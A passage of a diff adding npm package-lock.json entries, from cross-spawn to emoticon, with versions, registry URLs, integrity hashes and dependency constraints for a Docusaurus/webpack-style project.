"sha512-StxNAxh15zr77QvvkmveSQ8uCQ4+v5FkvNTj0OESmiHu+VRi/gXArXtkWMElOsOUNLtUEvI4yS+rdtOHZTwlQA==", + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/crypto-random-string": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz", + "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/css-declaration-sorter": { + "version": "6.4.1", + "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.4.1.tgz", + "integrity": "sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g==", + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.0.9" + } + }, + "node_modules/css-loader": { + "version": "6.8.1", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.8.1.tgz", + "integrity": "sha512-xDAXtEVGlD0gJ07iclwWVkLoZOpEvAWaSyf6W18S2pOC//K8+qUDIx8IIT3D+HjnmkJPQeesOPv5aiUaJsCM2g==", + "dependencies": { + "icss-utils": "^5.1.0", + "postcss": "^8.4.21", + "postcss-modules-extract-imports": "^3.0.0", + "postcss-modules-local-by-default": "^4.0.3", + "postcss-modules-scope": "^3.0.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.2.0", + "semver": "^7.3.8" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/css-minimizer-webpack-plugin": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-4.2.2.tgz", + "integrity": "sha512-s3Of/4jKfw1Hj9CxEO1E5oXhQAxlayuHO2y/ML+C6I9sQ7FdzfEV6QgMLN3vI+qFsjJGIAFLKtQK7t8BOXAIyA==", + "dependencies": { + "cssnano": "^5.1.8", + "jest-worker": "^29.1.2", + "postcss": "^8.4.17", + "schema-utils": "^4.0.0", + "serialize-javascript": "^6.0.0", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">= 14.15.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "@parcel/css": { + "optional": true + }, + "@swc/css": { + "optional": true + }, + "clean-css": { + "optional": true + }, + "csso": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "lightningcss": { + "optional": true + } + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/css-minimizer-webpack-plugin/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/css-select": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-5.1.0.tgz", + "integrity": "sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.1.0", + "domhandler": "^5.0.2", + "domutils": "^3.0.1", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css-tree": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz", + "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "dependencies": { + "mdn-data": "2.0.14", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/css-what": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz", + "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano": { + "version": "5.1.15", + "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.15.tgz", + "integrity": "sha512-j+BKgDcLDQA+eDifLx0EO4XSA56b7uut3BQFH+wbSaSTuGLuiyTa/wbRYthUXX8LC9mLg+WWKe8h+qJuwTAbHw==", + "dependencies": { + "cssnano-preset-default": "^5.2.14", + "lilconfig": "^2.0.3", + "yaml": "^1.10.2" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/cssnano" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/cssnano-preset-advanced": { + "version": "5.3.10", + "resolved": "https://registry.npmjs.org/cssnano-preset-advanced/-/cssnano-preset-advanced-5.3.10.tgz", + "integrity": "sha512-fnYJyCS9jgMU+cmHO1rPSPf9axbQyD7iUhLO5Df6O4G+fKIOMps+ZbU0PdGFejFBBZ3Pftf18fn1eG7MAPUSWQ==", + "dependencies": { + "autoprefixer": "^10.4.12", + "cssnano-preset-default": "^5.2.14", + "postcss-discard-unused": "^5.1.0", + "postcss-merge-idents": "^5.1.1", + "postcss-reduce-idents": "^5.2.0", + "postcss-zindex": "^5.1.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/cssnano-preset-default": { + "version": "5.2.14", + "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.14.tgz", + "integrity": "sha512-t0SFesj/ZV2OTylqQVOrFgEh5uanxbO6ZAdeCrNsUQ6fVuXwYTxJPNAGvGTxHbD68ldIJNec7PyYZDBrfDQ+6A==", + "dependencies": { + "css-declaration-sorter": "^6.3.1", + "cssnano-utils": "^3.1.0", + "postcss-calc": "^8.2.3", + "postcss-colormin": "^5.3.1", + "postcss-convert-values": "^5.1.3", + "postcss-discard-comments": "^5.1.2", + "postcss-discard-duplicates": "^5.1.0", + "postcss-discard-empty": "^5.1.1", + "postcss-discard-overridden": "^5.1.0", + "postcss-merge-longhand": "^5.1.7", + "postcss-merge-rules": "^5.1.4", + "postcss-minify-font-values": "^5.1.0", + "postcss-minify-gradients": "^5.1.1", + "postcss-minify-params": "^5.1.4", + "postcss-minify-selectors": "^5.2.1", + "postcss-normalize-charset": "^5.1.0", + "postcss-normalize-display-values": "^5.1.0", + "postcss-normalize-positions": "^5.1.1", + "postcss-normalize-repeat-style": "^5.1.1", + "postcss-normalize-string": "^5.1.0", + "postcss-normalize-timing-functions": "^5.1.0", + "postcss-normalize-unicode": "^5.1.1", + "postcss-normalize-url": "^5.1.0", + "postcss-normalize-whitespace": "^5.1.1", + "postcss-ordered-values": "^5.1.3", + "postcss-reduce-initial": "^5.1.2", + "postcss-reduce-transforms": "^5.1.0", + "postcss-svgo": "^5.1.0", + "postcss-unique-selectors": "^5.1.1" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/cssnano-utils": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz", + "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/csso": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/csso/-/csso-4.2.0.tgz", + "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==", + "dependencies": { + "css-tree": "^1.1.2" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/csstype": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.2.tgz", + "integrity": "sha512-I7K1Uu0MBPzaFKg4nI5Q7Vs2t+3gWWW648spaF+Rg7pI9ds18Ugn+lvg4SHczUdKlHI5LWBXyqfS8+DufyBsgQ==" + }, + "node_modules/data-uri-to-buffer": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz", + "integrity": "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==", + "engines": { + "node": ">= 12" + } + }, + "node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decompress-response": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", + "integrity": "sha512-BzRPQuY1ip+qDonAOz42gRm/pg9F768C+npV/4JOsxRC2sq+Rlk+Q4ZCAsOhnIaMrgarILY+RMUIvMmmX1qAEA==", + "dependencies": { + "mimic-response": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/deep-extend": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "devOptional": true + }, + "node_modules/deepmerge": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/default-gateway": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-6.0.3.tgz", + "integrity": "sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==", + "dependencies": { + "execa": "^5.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/defer-to-connect": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-1.1.3.tgz", + "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ==" + }, + "node_modules/define-lazy-prop": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", + "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==", + "engines": { + "node": ">=8" + } + }, + "node_modules/define-properties": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.0.tgz", + "integrity": "sha512-xvqAVKGfT1+UAvPwKTVw/njhdQ8ZhXK4lI0bCIuCMrp2up9nPnaDftrLtmpTazqd1o+UY4zgzU+avtMbDP+ldA==", + "dependencies": { + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/del": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/del/-/del-6.1.1.tgz", + "integrity": "sha512-ua8BhapfP0JUJKC/zV9yHHDW/rDoDxP4Zhn3AkA6/xT6gY7jYXJiaeyBZznYVujhZZET+UgcbZiQ7sN3WqcImg==", + "dependencies": { + "globby": "^11.0.1", + "graceful-fs": "^4.2.4", + "is-glob": "^4.0.1", + "is-path-cwd": "^2.2.0", + "is-path-inside": "^3.0.2", + "p-map": "^4.0.0", + "rimraf": "^3.0.2", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/detab": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/detab/-/detab-2.0.4.tgz", + "integrity": "sha512-8zdsQA5bIkoRECvCrNKPla84lyoR7DSAyf7p0YgXzBO9PDJx8KntPUay7NS6yp+KdxdVtiE5SpHKtbp2ZQyA9g==", + "dependencies": { + "repeat-string": "^1.5.4" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/detect-node": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==" + }, + "node_modules/detect-port": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/detect-port/-/detect-port-1.5.1.tgz", + "integrity": "sha512-aBzdj76lueB6uUst5iAs7+0H/oOjqI5D16XUWxlWMIMROhcM0rfsNVk93zTngq1dDNpoXRr++Sus7ETAExppAQ==", + "dependencies": { + "address": "^1.0.1", + "debug": "4" + }, + "bin": { + "detect": "bin/detect-port.js", + "detect-port": "bin/detect-port.js" + } + }, + "node_modules/detect-port-alt": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/detect-port-alt/-/detect-port-alt-1.1.6.tgz", + "integrity": "sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q==", + "dependencies": { + "address": "^1.0.1", + "debug": "^2.6.0" + }, + "bin": { + "detect": "bin/detect-port", + "detect-port": "bin/detect-port" + }, + "engines": { + "node": ">= 4.2.1" + } + }, + "node_modules/detect-port-alt/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/detect-port-alt/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/dns-equal": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/dns-equal/-/dns-equal-1.0.0.tgz", + "integrity": "sha512-z+paD6YUQsk+AbGCEM4PrOXSss5gd66QfcVBFTKR/HpFL9jCqikS94HYwKww6fQyO7IxrIIyUu+g0Ka9tUS2Cg==" + }, + "node_modules/dns-packet": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-5.6.0.tgz", + "integrity": "sha512-rza3UH1LwdHh9qyPXp8lkwpjSNk/AMD3dPytUoRoqnypDUhY0xvbdmVhWOfxO68frEfV9BU8V12Ez7ZsHGZpCQ==", + "dependencies": { + "@leichtgewicht/ip-codec": "^2.0.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/doctrine": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", + "devOptional": true, + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/docusaurus-plugin-sass": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/docusaurus-plugin-sass/-/docusaurus-plugin-sass-0.2.5.tgz", + "integrity": "sha512-Z+D0fLFUKcFpM+bqSUmqKIU+vO+YF1xoEQh5hoFreg2eMf722+siwXDD+sqtwU8E4MvVpuvsQfaHwODNlxJAEg==", + "dependencies": { + "sass-loader": "^10.1.1" + }, + "peerDependencies": { + "@docusaurus/core": "^2.0.0-beta || ^3.0.0-alpha", + "sass": "^1.30.0" + } + }, + "node_modules/docusaurus-plugin-sass/node_modules/sass-loader": { + "version": "10.4.1", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-10.4.1.tgz", + "integrity": "sha512-aX/iJZTTpNUNx/OSYzo2KsjIUQHqvWsAhhUijFjAPdZTEhstjZI9zTNvkTTwsx+uNUJqUwOw5gacxQMx4hJxGQ==", + "dependencies": { + "klona": "^2.0.4", + "loader-utils": "^2.0.0", + "neo-async": "^2.6.2", + "schema-utils": "^3.0.0", + "semver": "^7.3.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "fibers": ">= 3.1.0", + "node-sass": "^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0", + "sass": "^1.3.0", + "webpack": "^4.36.0 || ^5.0.0" + }, + "peerDependenciesMeta": { + "fibers": { + "optional": true + }, + "node-sass": { + "optional": true + }, + "sass": { + "optional": true + } + } + }, + "node_modules/docusaurus-plugin-sass/node_modules/schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/dom-converter": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/dom-converter/-/dom-converter-0.2.0.tgz", + "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==", + "dependencies": { + "utila": "~0.4" + } + }, + "node_modules/dom-iterator": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/dom-iterator/-/dom-iterator-1.0.0.tgz", + "integrity": "sha512-7dsMOQI07EMU98gQM8NSB3GsAiIeBYIPKpnxR3c9xOvdvBjChAcOM0iJ222I3p5xyiZO9e5oggkNaCusuTdYig==", + "dependencies": { + "component-props": "1.1.1", + "component-xor": "0.0.4" + } + }, + "node_modules/dom-serializer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz", + "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==", + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.2", + "entities": "^4.2.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/domelementtype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ] + }, + "node_modules/domhandler": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz", + "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==", + "dependencies": { + "domelementtype": "^2.3.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/domutils": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.1.0.tgz", + "integrity": "sha512-H78uMmQtI2AhgDJjWeQmHwJJ2bLPD3GMmO7Zja/ZZh84wkm+4ut+IUnUdRa8uCGX88DiVx1j6FRe1XfxEgjEZA==", + "dependencies": { + "dom-serializer": "^2.0.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/dot-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/dot-prop": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-5.3.0.tgz", + "integrity": "sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q==", + "dependencies": { + "is-obj": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/dot-prop/node_modules/is-obj": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz", + "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==", + "engines": { + "node": ">=8" + } + }, + "node_modules/duplexer": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz", + "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==" + }, + "node_modules/duplexer3": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.5.tgz", + "integrity": "sha512-1A8za6ws41LQgv9HrE/66jyC5yuSjQ3L/KOpFtoBilsAK2iA2wuS5rTt1OCzIvtS2V7nVmedsUU+DGRcjBmOYA==" + }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==" + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==" + }, + "node_modules/electron-to-chromium": { + "version": "1.4.498", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.498.tgz", + "integrity": "sha512-4LODxAzKGVy7CJyhhN5mebwe7U2L29P+0G+HUriHnabm0d7LSff8Yn7t+Wq+2/9ze2Fu1dhX7mww090xfv7qXQ==" + }, + "node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==" + }, + "node_modules/emojis-list": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", + "engines": { + "node": ">= 4" + } + }, + "node_modules/emoticon": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/emoticon/-/emoticon-3.2.0.tgz", + "integrity": 